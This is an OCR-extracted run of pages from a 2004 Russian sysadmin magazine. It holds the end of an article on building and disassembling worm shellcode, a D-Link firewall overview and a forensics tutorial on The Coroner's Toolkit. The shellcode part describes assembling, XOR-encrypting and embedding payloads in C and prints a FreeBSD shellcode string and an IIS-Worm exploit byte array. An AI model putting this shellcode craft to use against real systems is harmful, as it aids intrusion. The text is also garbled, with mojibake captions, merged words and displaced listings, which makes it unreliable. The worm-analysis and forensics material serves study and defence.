мирования. В отсутствие наглядных символических именвы будете долго вспоминать, что намедни положили вячейку [EBP-69] и не имелось ли в виду здесь [EBP-68]?Достаточно одного неверного нажатия на клавишу, чтобына выяснение причин неработоспособности shell-кодаушел весь день. (QVIEW – один из немногих HEX-редак-торов, позволяющих помечать ассемблерные инструкциикомментариями, сохраняемыми в специальном файле).

Поэтому предпочтительнее всего поступать так: набиватьнебольшие куски shell-кода в HIEW и тут же переносить их вTASM/MASM, при необходимости прибегая к директиве DB,а прибегать к ней придется достаточно часто, поскольку по-давляющее большинство ассемблерных извращений толь-ко через нее родимую и могут быть введены.

Типовой ассемблерный шаблон shell-кода приведен ниже:

Трансляция shell-кода осуществляется стандартно иприменительно к MASM командная строка может выгля-деть, например, так: ml.exe /c «file name.asm». С линков-кой все намного сложнее. Штатные компоновщики такие,например, как Microsoft Linker наотрез откажутся транс-лировать shell-код в двоичный файл и в лучшем случаесварганят из него стандартный PE, из который shell-кодпридется вырезать руками. Использование ключа /VXD су-щественно упрощает нашу задачу, т.к. во-первых, теперьлинкер больше не матерится на отсутствующий старто-вый код и не порывается внедрять его в целевой файлсамостоятельно, а, во-вторых, вырезать shell-код из vxd-файла намного проще, чем из PE. По умолчанию в vxd-файле shell-код располагается начиная с адреса 1000h ипродолжается до самого конца файла. Точнее, практичес-ки до самого конца – один или два хвостовых байта могутприсутствовать по соображениям выравнивания, однако,нам они не мешают.

Теперь полученный двоичный файл необходимо за-шифровать (если, конечно, shell-код содержит в себе шиф-ровщик). Чаще всего для этого используется уже упомя-нутый HIEW, реже – внешний шифровщик, на созданиекоторого обычно уходит не больше чем десяток минут:

При всех достоинствах HIEW главный минус его шиф-ровщика заключается в том, что полностью автоматизи-ровать процесс трансляции shell-кода в этом случае ока-

зывается невозможно и при частых перекомпиляциях не-обходимость ручной работы дает о себе знать. Тем неменее… лучше за час долететь, чем за пять минут добе-жать – программировать внешний шифровщик поначалулениво, вот все и предпочитают заниматься Камаcутройс HIEW, чем автоматизировать серые будни унылых дож-дливых дней окружающей жизни.

Затем готовый shell-код тем или иным способом имп-лантируется в основное тело червя, как правило, пред-ставляющее собой Си-программу. Самое простое (но несамое лучшее) – подключить shell-код как обыкновенныйobj, однако этот путь не свободен от проблем. Чтобы оп-ределить длину shell-кода, потребуются две публичныеметки – в его начале и конце. Разность их смещений идаст искомое значение. Но это еще что – попробуйте-ка сразбега зашифровать obj-файл. В отличие от «чистого»двоичного файла, привязываться к фиксированным сме-щениям здесь нельзя, и приходится прибегать к анализуслужебных структур и заголовка, что также не добавляетэнтузиазма. Наконец, нетекстовая природа obj-файловсущественно затрудняет публикацию и распространениеисходных текстов червя. Поэтому (а может быть, просто всилу традиции) shell-код чаще всего внедряется в програм-му непосредственно через строковой массив, благо языкСи поддерживает возможность введения любых HEX-сим-волов, естественно, за исключением нуля, т.к. последнийслужит символом окончания строки.

Это может выглядеть, например, так (разумеется, на-бивать hex-коды вручную совершенно необязательно –быстрее написать несложный конвертер, который все сде-лает за вас):

Теперь поговорим об укрощении компилятора и опти-мизации программ. Как запретить компилятору внедрятьstart-up и RTL-код? Да очень просто – достаточно не объяв-лять функцию main, принудительно навязав линкеру но-вую точку входа посредством ключа /ENTRY.

Покажем это на примере следующей программы:

Будучи откомпилированной с настройками по умолча-нию, т.е. cl.exe /Ox »file name.c» она образует исполняе-мый файл, занимающий 25 Кб. Не так уж и много, но неторопитесь c выводами. Сейчас вы увидите такое…

Ëèñòèíã 26. Òèïîâîé àññåìáëåðíûé øàáëîí äëÿ ñîçäàíèÿ shell-êîäà,  êîìïèëÿöèÿ:  ml.exe /c "file name.asm",  ëèíêîâêà:link.exe  /VXD  "file name.obj".386.model flat.codestart:

jmp short beginget_eip:

pop esi; ...; shell-êîä; ...

begin:call get_eip

end start

fopen/fread/for(a = FROM_CRYPT;  a < TO_CRYPT;  ↵↵↵↵↵a+=sizeof(key)) buf[a] ^= key;/fwrite

Ëèñòèíã 27. Ïðèìåð âêëþ÷åíèÿ shell-êîäà â Ñè-ïðîãðàììóunsigned char x86_fbsd_read[] =

"\x31\xc0\x6a\x00\x54\x50\x50\xb0\x03\xcd\x80\x83\xc4""\x0c\xff\xff\xe4";

Ëèñòèíã 28. Êëàññè÷åñêèé  âàðèàíò,  êîìïèëèðóåìûé  îáû÷íûìñïîñîáîì:  cl.exe /Ox file.c#include  <windows.h>main(){

MessageBox(0, "Sailor", "Hello", 0);}

Ëèñòèíã 29. Îïòèìèçèðîâàííûé  âàðèàíò,  êîìïèëèðóåìûé  òàê:cl.exe /c /Ox file.c, à ëèíêóåìûé òàê: link.exe /ALIGN:32/DRIVER/ENTRY:my_main /SUBSYSTEM:console file.obj USER32.lib#include  <windows.h>

Page 47: 017 Системный Администратор 04 2004

45№4(17), апрель 2004

безопасность

Слегка изменив имя главной функции программы иподобрав более оптимальные ключи трансляции, мы со-кратим размер исполняемого файла до 864 байт, причембольшую его часть будет занимать PE-заголовок, табли-ца импорта и пустоты, оставленные для выравнивания,т.е. на реальном полновесном приложении, состоящем изсотен, а то и тысяч строк, разрыв станет еще более за-метным, но и без этого мы сжали исполняемый файл бо-лее, чем в тридцать раз (!), причем безо всяких ассемб-лерных извращений.

Разумеется, вместе с RTL гибнет и подсистема ввода-вывода, а, значит, большинство функций из библиотекиstdio использовать не удастся и придется ограничитьсяпреимущественно API-функциями.

Декомпиляция червяОбсуждая различные аспекты компиляции червя, мы ре-шали задачу, двигаясь от прямого к обратному. Но стоитнам оглянуться назад, как позади не останется ничего.Приобретенные навыки трансляции червей окажутся прак-тически или полностью бесполезными перед лицом иханализа. Ловкость дизассемблирования червей опирает-ся на ряд неочевидных тонкостей, о некоторых из кото-рых я и хочу рассказать.

Первой и наиболее фундаментальной проблемой яв-ляется поиск точки входа. Подавляющее большинствочервей, выловленных в живой природе, доходят до иссле-дователей либо в виде дампа памяти пораженной маши-ны, либо в виде отрубленной головы, либо… в виде ис-ходной кода, опубликованного в том или ином e-zin.

Казалось бы, наличие исходного кода просто не остав-ляет места для вопросов. Ан нет! Вот перед нами лежитфрагмент исходного текста червя IIS-Worm с shell-кодомвнутри.

Попытка непосредственного дизассемблирования shell-кода ни к чему хорошему не приведет, поскольку голова чер-вя начинается со строки «GET /AAAAAAAAAAAAAAAAAA…»,ни в каком дизассемблировании вообще не нуждающей-ся. С какого байта начинается актуальный код – допод-линно неизвестно. Для определения действительного по-ложения точки входа необходимо скормить голову червяуязвимому приложению и посмотреть: куда метнется ре-гистр EIP. Это (теоретически!) и будет точкой входа. Прак-тически же это отличный способ убить время, но не бо-лее того.

Начнем с того, что отладка – опасный и неоправданноагрессивный способ исследования. Экспериментироватьс «живым» сервером вам никто не даст, и уязвимое про-граммное обеспечение должно быть установлено на от-дельный компьютер, на котором нет ничего такого, чтобыло бы жалко потерять. Причем это должна быть имен-но та версия программного обеспечения, которую вирус всостоянии поразить, ничего ненароком не обрушив, в про-тивном случае управление получит отнюдь не истиннаяточка входа, а неизвестно что. Но ведь далеко не каждыйисследователь имеет в своем распоряжении «зоопарк»программного обеспечения различных версий и кучу опе-рационных систем!

К тому же далеко не факт, что нам удастся определитьмомент передачи управления shell-коду. Тупая трассиров-ка здесь не поможет, – современное программное обес-печение слишком громоздко, а передача управления мо-жет осуществляться спустя тысячи, а то и сотни тысяч ма-шинных инструкций, выполняемых в том и числе и в па-раллельных потоках. Отладчиков, способных отлажи-вать несколько потоков одновременно, насколько мне из-вестно, не существует (во всяком случае, они не былипредставлены на рынке). Можно, конечно, установить «ис-полняемую» точку останова на регион памяти, содержа-щий в себе принимающий буфер, но это не поможет в техслучаях, когда shell-код передается по цепочке буферов,лишь один из которых подвержен переполнению, а осталь-ные – вполне нормальны.

С другой стороны, определить точку входа можно ивизуально. Просто загрузите shell-код в дизассемблер и,перебирая различные стартовые адреса, выберите из нихтот, что дает наиболее осмысленный код. Эту операциюудобнее всего осуществлять в HIEW или любом другомHEX-редакторе с аналогичными возможностями (IDA дляэтих целей все же недостаточно «подвижна»). Будьте го-товы к тому, что основное тело shell-кода окажется зашиф-ровано и осмысленным останется только расшифровщик,который к тому же может быть размазан по всей головечервя и умышленно «замусорен» ничего не значащимиинструкциями.

Если shell-код передает на себя управление посред-ством JMP ESP (как чаще всего и происходит), тогда точ-ка входа переместится на самый первый байт головы чер-вя, т.е. на строку «GET /AAAAAAAAAAAAAAAAAA…», аотнюдь не на первый байт, расположенный за ее концом,как это утверждают некоторые руководства. Именно такустроены черви CodeRed 1,2 и IIS_Worm.

Значительно реже управление передается в серединуshell-кода. В этом случае стоит поискать цепочку NOP,расположенную в окрестностях точки входа и используе-мую червем для обеспечения «совместимости» с различ-ными версиями уязвимого ПО (при перекомпиляции мес-тоположение переполняющегося буфера может менять-ся, но не сильно, вот NOP и выручают, играя ту же роль,что и воронка при вливании жидкости в бутылку). Другуюзацепку дает опять-таки расшифровщик. Если вы найде-те расшифровщик, то найдете и точку входа. Можно так-же воспользоваться визуализатором IDA типа «flow chart»,отображающим потоки управления, чем-то напоминающие

Ëèñòèíã 30. Ôðàãìåíò  èñõîäíîãî  êîäà  ÷åðâÿchar sploit[] = {0x47, 0x45, 0x54, 0x20, 0x2F, 0x41, 0x41,0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,�0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,0x2E, 0x68, 0x74, 0x72, 0x20, 0x48, 0x54,0x54, 0x50, 0x2F, 0x31, 0x2E, 0x30, 0x0D,0x0A, 0x0D,0x0A };

my_main(){

MessageBox(0, "Sailor", "Hello", 0);}

Page 48: 017 Системный Администратор 04 2004

46

безопасность

добротную гроздь винограда с точкой входа в роли черен-ка (см. рис. 3).

Рассмотрим достаточно сложный случай – самомо-дифицирующуюся голову червя Code Red, динамичес-ки изменяющую безусловный JMP для передачи управ-ления на тот или иной участок кода. Очевидно, что IDAне сможет автоматически восстановить все перекрест-ные ссылки, и часть функций «зависнет», отпочковав-шись от основной грозди. А мы в результате получимчетыре претендента на роль точек входа. Трое из нихотсеиваются сразу, т.к. содержат бессмысленный код,обращающийся к неинициализированным регистрам ипеременным. Осмысленный код дает лишь истиннаяточка входа – на этой диаграмме она расположена чет-вертой слева.

Сложнее справиться с проблемой «привязки» shell-кода к окружающей его среде обитания, например, содер-жимому регистров, доставшихся червю от уязвимой про-граммы. Как узнать, какое они принимают значение, необращаясь к уязвимой программе? Ну наверняка-то ска-зать невозможно, но в подавляющем большинстве случа-ев это можно просто угадать. Точнее, проанализировавхарактер обращения с последними, определить: чегоименно ожидает червь от них. Маловероятно, чтобы червьзакладывался на те или иные константы. Скорее всего онпытается ворваться в определенный блок памяти, указа-тель на который и хранится в регистре (например, в реги-стре ECX обычно хранится указатель this).

Хуже, если вирус обращается к функциям уязвимойпрограммы, вызывая их по фиксированным адресам. По-

Ðèñóíîê 3. Âèçóàëèçàòîð IDA, îòîáðàæàþùèé ïîòîêè óïðàâëåíèÿ â ôîðìå äèàãðàììû (ìåëêèé ìàñøòàá)

Page 49: 017 Системный Администратор 04 2004

47№4(17), апрель 2004

безопасность

Ðèñóíîê 4. Âèçóàëèçàòîð IDA, îòîáðàæàþùèé ïîòîêè óïðàâëåíèÿ â ôîðìå äèàãðàììû (êðóïíûì ïëàíîì)пробуй догадайся, за что каждая функция отвечает! Един-ственную зацепку дают передаваемые функции аргумен-ты, но эта зацепка слишком слабая для того, чтобы ре-зультат исследований можно было назвать достоверными без дизассемблирования самой уязвимой программыздесь не обойтись.

Следует сказать, что дамп, сброшенный операционнойсистемой в ответ на атаку, может и не содержать в себеникаких объектов для исследований, поскольку обруше-ние системы недвусмысленно указывает на тот факт, чтоатака не удалась и червь вместо строго дозированногопереполнения буфера уничтожил жизненно важные струк-туры данных. Тем не менее, действуя по методикам, опи-

санным в статье «Практические советы по восстановле-нию системы», опубликованной в декабрьском номере«Системного администратора», мы сможем разгрести этотмусор и локализовать голову червя. Ну а дальше – делотехники.

ЗаключениеПереполнение буфера – в действительности настольконеобъятная тема, что даже настоящая статья при всей ееобширности не затрагивает и половины видимой частиайсберга, не говоря уже о той глыбе, что спрятана подводой. Но об этом как ни будь в другой раз…

Что читать! UNIX Assembly Codes Development for Vulnerabilities

Illustration Purposes – великолепное руководство по на-писанию shell-кодов для различных клонов UNIX с боль-шим количеством примеров, работающих практическина всех современных процессорах, а не только на x86;http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/bh-usa-01/LSD/bh-usa-01-lsd.pdf

! Win32 Assembly Components – еще одно великолепноеруководство по написанию shell-кодов, на этот раз ори-ентированное на семейство NT/x86;http://www.lsd-pl.net/documents/winasm-1.0.1.pdf

! Win32 One-Way Shallcode – богатейшая кладезь инфор-мации, охватывающая все аспекты жизнедеятельностичервей, обитающих в среде NT/x86, да и не только их…http://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-chong.pdf

! SPARC Buer Overows – конспект лекций по технике пе-реполнения буферов на SPARC под UNIXhttp://www.dopesquad.net/security/defcon-2000.pdf

! Writing MIPS/IRIX shellcode – руководство по написа-нию shell-кодов для MIPS/IRIXhttp://teso.scene.at/articles/mipsshellcode/mipsshellcode.pdf

Page 50: 017 Системный Администратор 04 2004

48

безопасность

Современный мир предъявляет к защите локальных се-тей все более жесткие требования. Зачастую стабильнаяработа компании, ее успешная деятельность и доходы вомногом зависят от этого фактора. Если крупная корпора-ция имеет средства и возможность содержать целые от-делы, занимающиеся безопасностью корпоративной сети,то небольшие компании не могут позволить себе вклю-чить в штат сетевого администратора. В этих условияхостро возникает необходимость в удобном и надежноминструменте защиты сети, каким является межсетевойэкран. На данный момент существует огромное количе-ство реализаций таких устройств. Все они делятся на ап-паратные и программные. На первый взгляд, программ-ная реализация межсетевого экрана довольно привлека-тельна по своим ценовым характеристикам, но, к сожале-нию, у нее немало недостатков. К таковым можно отнестисложность настройки и администрирования, а также мень-шую надежность по сравнению с аппаратными реализа-циями. Поэтому сегодня хотелось бы подробнее обсудитьлинейку межсетевых экранов от компании D-Link. Срединих есть устройства, которые могут занять достойное мес-то как в сети крупной компании, так и небольшой органи-зации. Работая в точке подключения к Интернету, они вы-полняют функции маршрутизатора и межсетевого экрана.

D-Link выпускает две группы межсетевых экранов:SOHO и Enterprise. Основные различия этих групп в про-изводительности, техническом исполнении и предназна-чении определенному типу заказчика.

Область применения устройств типа SOHO (SmallOffice Home Office) – небольшие организации (30-50 ра-бочих мест), не имеющие в своем штате постоянного сис-темного администратора. Настройка этих устройств оченьпроста и не требует высокой квалификации персонала.Она целиком производится через веб-интерфейс, что на-глядно, удобно, быстро и не требует запоминания огром-ного количества команд.

Группа Enterprise изготавливается в стандартном 19-дюймовом исполнении, т.к. предназначена для монтажа вкоммуникационный шкаф или стойку. Устройства такоготипа рассчитаны на бесперебойное обслуживание сотени тысяч пользователей.

Базовая функциональность межсетевых экранов D-Linkрасширена включением дополнительных функций, а именно:! Защита от атак, приводящих к «Отказу от обслужива-

ния» (DoS), таких как Ping of Death, SYN Flood, LANDAttack, IP Spoofing, Teardrop и др. Система Anti-DoSпозволяет контролировать число «полуоткрытых» со-единений. При превышении данного предела эти со-единения разрываются, а администратору сети отправ-ляется предупреждение. Скомпрометировавшие себяхосты заносятся в Blok list.

! Списки управления доступом (ACL), реализованные наоснове MAC-адресов, IP-адресов и доменных имен. Этафункция обеспечивает доступ к Интернету из локаль-ной сети только доверенных пользователей, а такжепозволяет ограничивать доступ к нежелательным ре-сурсам.

! Поддержка защищенных виртуальных частных сетей(VPN) позволяет безопасно связывать между собой ло-кальные сети филиалов предприятия и мобильныхпользователей с использованием шифрованных кана-лов через Интернет вместо аренды дорогостоящихвыделенных каналов. Поддерживаются алгоритмышифрования DES и 3DES, а также аутентификацияMD5 или SHA-1, управление ключами вручную или припомощи Internet Key Exchange (IKE). Возможность цен-трального управления всей распределенной сетью сни-жает расходы на администрирование.

! Выделенный физический DMZ-порт позволяет органи-зовать отдельную подсеть для Web, Mail или FTP-сер-веров компании и обеспечить доступ к ним из сети Ин-тернет, не подвергая внутреннюю сеть опасности атакизвне и уменьшая в ней количество трафика.

! Применение механизма Multihoming позволяет подклю-чить локальную сеть к Интернету через два и болеепровайдеров. Основное преимущество этого механиз-ма – получение резервного канала связи при обрывесоединения с одним провайдером и обеспечение по-стоянного доступа к Web-сервисам, что особенно важ-но для предприятий и организаций, коммерческая де-ятельность которых зависит от Интернета. Модель DFL-1500 предлагает полнофункциональную функциюMultihoming, которая представляет собой интеллекту-альный алгоритм автоматической маршрутизации длядинамического распределения трафика между двумяWAN-каналами связи, обеспечивая балансировку на-грузки. Это не требует создания сложных таблиц мар-шрутизации, как в обычных маршрутизаторах, умень-шая, таким образом, усилия администраторов сети наих создание.

! Межсетевые экраны D-Link позволяют протоколироватьвсе события, происходящие на межсетевом экране, вжурнале системных событий или передавать его наsyslog сервера, а при возникновении угрозы безопас-ности посылать предупреждения по электронной по-чте. Таким образом, вы можете быть оперативно опо-вещены о возможной атаке на ваш сервер и вовремяпринять адекватные меры.

Более подробные технические консультации по меж-сетевым экранам D-Link вы можете получить, отправивписьмо по адресу [email protected].

МЕЖСЕТЕВЫЕ ЭКРАНЫ D-LINKМИХАИЛ ГРИШУНИН

Page 51: 017 Системный Администратор 04 2004
Page 52: 017 Системный Администратор 04 2004

50

безопасность

СЕРГЕЙ ЯРЕМЧУК

СВОБОДНЫЕ УТИЛИТЫ FORENSICСВОБОДНЫЕ УТИЛИТЫ FORENSIC

Компьютеры и Интернет продолжают проникать и вторгаться в нашу жизнь, увеличивая тем самымвероятность оказаться жертвой компьютерного преступления. Как ни прискорбно замечать,несмотря на обилие и разнообразие средств защиты, с каждым годом количество взломовувеличивается. Оказавшись жертвой взлома, некоторые, бывает, и теряются, что порой приводитк неправильным решениям. Наверное, одна из самых распространенных ошибок состоитв немедленном удалении всех данных и восстановлении системы из резервных архивови продолжении работы как ни в чем не бывало (хотя настаивать на своем мнении не буду, бываютразные ситуации). Почему так? Во-первых, не всегда можно сразу точно узнать, когда произошелвзлом, и в архиве могут быть уже «зараженные» тем же rootkits файлы; во-вторых, если повезлос первым случаем, то где вероятность того, что злоумышленник не воспользуется тем жеспособом, что и ранее, для повторного проникновения, и в результате время будет потрачено зря,и в-третьих, иногда трудно сказать, произошел ли взлом вообще, и чтобы доказать это, требуетсясобрать максимальное количество информации, т.к. простой сервера ведет к финансовым потерям(а еще и имидж, и пр.), и кто-то должен отвечать за это.

Page 53: 017 Системный Администратор 04 2004

51№4(17), апрель 2004

безопасность

Другой путь состоит в том, чтобы остановиться и попы-таться исследовать и проанализировать происшедшее, аглавное, сохранить образ взломанного компьютера. К со-жалению, насчет вопроса исследования последствий взло-ма и используемых при этом инструментов в рунете име-ется некоторый дефицит информации (а об описываемыхниже утилитах доводилось читать все, кроме того, чем онидействительно занимаются), которую одной статьей таксразу и не решить. Но надеюсь вызвать дискуссию (настраницах журнала или в форуме), в которой попытатьсяразобраться и ответить на извечный вопрос «Что делать?»после взлома. Так, к планированию своих действий в этойситуации нужно подходить не менее тщательно, чем кдействию при пожаре.

Если на компьютере установлена одна из систем кон-троля целостности вроде tripwire (http://www.tripwire.org)или AIDE – Advanced Intrusion Detection Environment (http://sourceforge.net/projects/aide), а также система обнаруже-ния вторжения наподобие Snort (http://www.snort.org/), плюссредство аудита системы вроде того же Snare (http://www.intersectalliance.com/projects/Snare/), то у вас будутответы на основные вопросы – когда и где происходилособытие, как все произошло, сколько времени и на какиефайлы воздействовали в системе. Теперь осталось осто-рожно извлечь чужое и проанализировать подробнее.

Стандартные инструментальные средства, которыеимеются в любой системе, для данного действия не под-ходят по нескольким причинам. Для начала они могут бытьвведены в заблуждение при помощи любого широко дос-тупного rootkits, некоторые инструментальные средстваполагаются на файловую систему или системные коман-ды, чтобы исследовать диск и поэтому им также нельзядоверять. Затем системные инструментальные средства

могут изменять нужные метаданные (например, времяпоследнего обращения к файлу). И главное, системныеутилиты позволяют найти только распределенные файлы,но специализированные могут найти и нераспределенные,т.е. удаленные или спрятанные файлы. И наконец, допол-нительно приведенные утилиты могут понадобиться дляисследования файловой системы и процессов восстанов-ления данных.

The Coroner’s Toolkit (TCT)Разработанный Dan Farmer и Wietse Venema, это один изсамых первых и самых известных и свободных инструмен-тов, предназначенных для сбора данных на скомпромети-рованной системе (http://www.fish.com/tct). Работает с фай-ловыми системами FFS (FreeBSD, OpenBSD, BSD/OS,Solaris) и EXT2/3FS, также при помощи патча, доступногона сайте, можно заставить работать со второй версиейFFS (FreeBSD 5.x), что касается и всех остальных утилит,участвующих в обзоре, к глубокому сожалению, с новымиФС под Linux – ReiserFS, XFS и JFS они не работают. Од-ной из особенностей этой и подобных утилит является мак-симальный отказ от утилит исследуемой операционнойсистемы и максимальное протоколирование всех своихдействий. Так, даже вместо системного командного ин-терпретатора используется свой. Установка заключаетсяв получении архива, его распаковки и ввода командыmake. После чего здесь же, в подкаталоге bin, появятсянесколько исполняемых файлов.

По назначению их можно условно поделить на четырегруппы:! grave-robber – предназначена для захвата данных,

включая даже удаленные с диска, но еще открытые инаходящиеся в памяти.

Ðèñóíîê 1

Page 54: 017 Системный Администратор 04 2004

52

безопасность

! pcat, ils, icat, file – предназначены для записи и анали-за процессов и данных, содержащихся на диске.

! unrm и lazarus – для восстановления и анализа осво-божденных дисковых блоков файловой системы.

! mactime – Perl-скрипт, предназначенный для сбора ин-формации о времени последнего обращения, измене-ния и время создания (mtimes, atimes и сtimes или луч-ше modification, access или change – так запомнитьлегче) файлов и каталогов, при этом не изменяя их.

Теперь поподробней.Некоторые утилиты могут работать как с «живой» фай-

ловой системой, так и с образом, созданным при помощикоманды dd.

Для создания «мгновенного» снимка системы предназ-начена утилита grave-robber. По умолчанию grave-robberфиксирует информацию о процессах и состоянии сетевыхсоединений, выясняет все, что может, относительно кон-фигурации аппаратных средств, особенно обращая вни-мание на диски и дисковые разделы, и исследует состоя-ние критических файлов (конфигурационные файлы, жур-налы и пр.). Список исследуемых каталогов программа

берет в файле conf/look@first и основные настройки бе-рет из файла grave-robber.cf.

Вывод выглядит так:

Если требуется задать определенный каталог, необ-ходимо пользоваться опцией -с, которая, в свою очередь,требует опцию -о, указывающую на используемую опера-ционную систему.

Из других параметров, разделенных на три группы(general, micro data collection и macro data collection), осо-бо интересными, по моему мнению, являются (по умолча-

#dd if=/dev/hda9 of=./system.img

# ./grave-robber -c /data1 -o LINUX2

# ./grave-robber

Ðèñóíîê 2

Page 55: 017 Системный Администратор 04 2004

53№4(17), апрель 2004

безопасность

нию собирается максимальное количество данных, чтозанимает довольно много времени):! -l – на живой системе перед сбором информации вы-

зывает lstat();! -P – выполняет на живой системе команды ps, lsof, icat

для того, чтобы получить данные о выполняемых про-цессах и делает копии их исполняемых файлов. Icat-команда требует привилегий и используется только насистемах, где к исполняемому файлу нельзя обращать-ся через /proc файловую систему;

! -s – на живой системе при помощи netstat, df собирает ин-формацию о состоянии хоста и сетевых соединениях;

! -t – собирает информацию от hosts.equiv, .rhosts, andxhost;

! -M – собирает контрольную сумму MD5 для файлов;! -v – вывод подробных данных.

В результате работы утилиты в подкаталоге data/hostname_time (его можно изменить при помощи опции -d),образуется несколько файлов и каталогов.

В body содержится MAC-база времени, body.S тоже,но описаны файлы с установленным SUID; command_out –вывод программ, которые выполняются, с контрольнымисуммами и временными метками; conf_vault – програм-

мы, которые утилита нашла интересными, в основном кри-тические и конфигурационные файлы; proc – копии ис-полняемых файлов запущенных процессов с контрольны-ми суммами. Может быть еще каталог deleted_files, содер-жащий удаленные, но еще открытые файлы.

Если необходимо просто просмотреть, изменялось лиMAC-время доступа к файлам, начиная с определенноговремени (или промежуток при задании двух значений), тозапускаем утилиту mactime, в результате получим колон-ку, состоящую из значений [date time size MAC (т.е. изме-нившееся поле) perms owner group file]. Давайте посмот-рим, какие файлы изменились с 10 января 2004 г. (фор-мат: месяц/дата/год).

То есть с указаного времени изменялся inode (..с) фай-ла deallocvt, если файл недавно копировался или созда-вался другим способом, то это не должно вызывать по-дозрений, но если операционная система стоит не одиндень, а файл находится в неизменяемой обычно облас-ти (/bin, /sbin и т. д.), то это должно вызвать подозрения.

Ðèñóíîê 3

#./mactime 1/10/2004

Page 56: 017 Системный Администратор 04 2004

54

безопасность

Хотя, как вы понимаете, все эти времена можно без про-блем изменить. Далее все, думаю, понятно по аналогии.Из интересных опций следует отметить -s, показывающуюфайлы с установленным SUID/SGID другим цветом, ее не-обходимо использовать совместно с -h, устанавливающуювывод в виде html.

Просмотреть, чем сейчас занимается тот или иной про-цесс, найденный при помощи ps, netstat, или lsof, можно,запустив команду pcat, которая копирует содержание егопамяти в стандартный вывод.

Наиболее полную информацию можно получить, исполь-зуя опцию -H и направив при этом вывод в файл. В осталь-ных опциях лучше один раз увидеть, чем сто раз прочитать.

Теперь попробуем найти потерянные или спрятанныефайлы. Для этого воспользуемся утилитой ils (inode list),которая открывает названное устройство и перечисляетinode. По умолчанию ils выводит inodes только удаленныхфайлов.

Опций много, наиболее интересные следующие: опция-е выводит список всех inode; -o – выводит список всехinodes удаленных файлов, но таких, которые являются ещеоткрытыми или выполняются; -r выводит список удален-ных файлов.

Если запустить ее с опцией -о, то будет выведен толь-ко inode с номером 1.

Поле st_alloc принимает два значения; «a2» – дляallocated inode и «f» – для free inode.

В первом столбце даны значения inodes удаленных, т.е.не прописанных ни в одном каталоге файлов. Теперь припомощи icat, позволяющей копировать файл, обращаяськ нему не по имени, а по номеру inodes, попробуем скопи-ровать удаленный файл.

Чтобы определить, что за файл находится перед нами,применяется утилита file, которая при помощи трех тес-тов (filesystem tests, magic number tests и language tests)пытается дать ответ.

Первый тест пытается выяснить, является файл двоич-ным (программа или данные в каком-то формате) или со-держит ASCII-текст. На втором этапе при помощи системно-го вызова stat пытается определить тип (описаны в sys/stat.h).И наконец, пытается определить magic number, сохраненный

./pcat 881 | strings | less

# ./ils -or /dev/hda9

Ðèñóíîê 4

# ./icat

# ./icat /dev/hda9 107 > /tmp/delete_file

Page 57: 017 Системный Администратор 04 2004

55№4(17), апрель 2004

безопасность

в определенном месте файла и найти соответствующий из-вестному типу файла (например, исполняемый elf или a.out).

Все, по-моему, понятно без комментариев. От себя до-бавлю, что вовремя спасенная таким образом программабез проблем открывалась и выполнялась.

Применив такую конструкцию, можно попытаться вос-становить все удаленные файлы.

Но для сохранения данных, содержащихся во всех сво-бодных inodes файловой системы, в отдельный файл дляпоследующего анализа предназначена другая утилита –unrm. При ее использовании необходимо помнить двевещи: записывать результат нужно в другой раздел жест-кого диска, иначе потеряете все, и в этом разделе должнобыть достаточно места для сохранения данных. Например,если создать образ файловой системы размером 10 Гб,заполненной на 3 Гб при помощи утилиты dd, то он зай-мет 10 Гб, а если при помощи unrm, то места потребуется7 Гб (10 – 3), плюс столько же для последующего анализа.Если не доверяете системной команде dd, то, запустивunrm с опцией -e, можно создать полный образ раздела:

или если извлечь неиспользованные inodes из предвари-тельно созданного dd образа.

В результате можем получить файл довольно прилич-ных размеров, который перебрать вручную довольно хло-потное дело. И не надо. Для этого есть специально обу-ченная утилита lazarus, анализирующая поблочно весьфайл и пытающаяся определить, что за информация на-ходится в этих блоках, а также связать разрозненные бло-ки между собой. При этом lazarus понимает кроме FFS,EXT2/3 и NTFS с FAT32. Утилита читает данные порциямиразмером 1 Кб (значение можно изменить в lazarus.cf впеременной $BLOCK_SIZE), определяет по 10 % блока,что за данные (текст, двоичные, неизвестные) находятсяв нем. Если текст, то, используя регулярные выражения,пытается прочитать их, в двоичных пытается определитьформат.

Вывод утилиты – набор символов (если опция -h, то иHTML-файл, рис. 1), соответствующие распознанным ти-пам блоков, которых lazarus смог определить. Кроме того,в каталоге blocks (определен в переменной $blocks в фай-ле lazaruz.cf или, возможно, переопределить, использовавфлаг -D) создаются файлы, которые содержат данные, най-денные в блоках. Последовательные блоки того же самоготипа считаются одним и тем же файлом и записываются втот же самый выходной файл $blocks/*. Расшифровка вы-даваемых значений видна на рис. 1. Так, буква «T» означа-ет текстовый файл, «M» – почтовый, «C» – код на Cи, точка«.» – файл неопределен. Хотя, бывает, утилита и ошибает-ся. Далее процесс восстановления описан в документе help-

# ./file /tmp/delete_file

Ðèñóíîê 5

# ./ils -rf ext2fs /dev/hda9 | awk -F '|' '($2=="f") ↵↵↵↵↵{print $1}' |

while read i; do /usr/local/tct-1.14/bin/icat /dev/hda9 ↵↵↵↵↵$i > /tmp/deleted/$i; done

# ./lazarus -h /home/hda9_urm.res

# ./unrm /dev/hda9 > /home/hda9_urm.res

# ./unrm /image/system.img > /home/system_urm.res

Page 58: 017 Системный Администратор 04 2004

56

безопасность

recovering-file и lazarus.README, которые лежат в подката-логе doc. Например, текстовые файлы с определеннымисловами можно попробовать найти при помощи grep:

Вы видите, насколько мощные и удобные инструментыимеются в TCT, но все же их возможностей явно не доста-точно. Так, нельзя обеспечить анализ по имени файла, про-вести соответствие inodes с блоками, просмотреть инфор-мацию, находящуюся в отдельных блоках. Поэтому былразработан еще один комплект инструментов, дополняю-щих TCT, названный TCTUtils (http://www.cerias.purdue.edu/homes/carrier/forensics/) и использующий его библиотеки.Принцип работы прост и основывается на том, что инфор-мация при удалении файла фактически сохраняется в за-писях каталога. Выглядит это в общем приблизительнотак (некоторые подробности работы ext2 смотрите в [1].Каталог имеет для каждого файла четыре существенныезаписи: номер inode, длина записи в байтах rec_len, ок-ругленная до 4, имя файла (name) и длина имени файла(nam_len). При удалении файла в целях экономии време-ни запись о нем не удаляется, просто к значению rec_lenпредыдущего файла добавляется длина удаляемого, т.е.фактически утилиты теперь проскакивают над записьюудаленного файла. И теперь утилиты из TCTUtils, анали-зируя поля, определяют, у которого поле rec_len 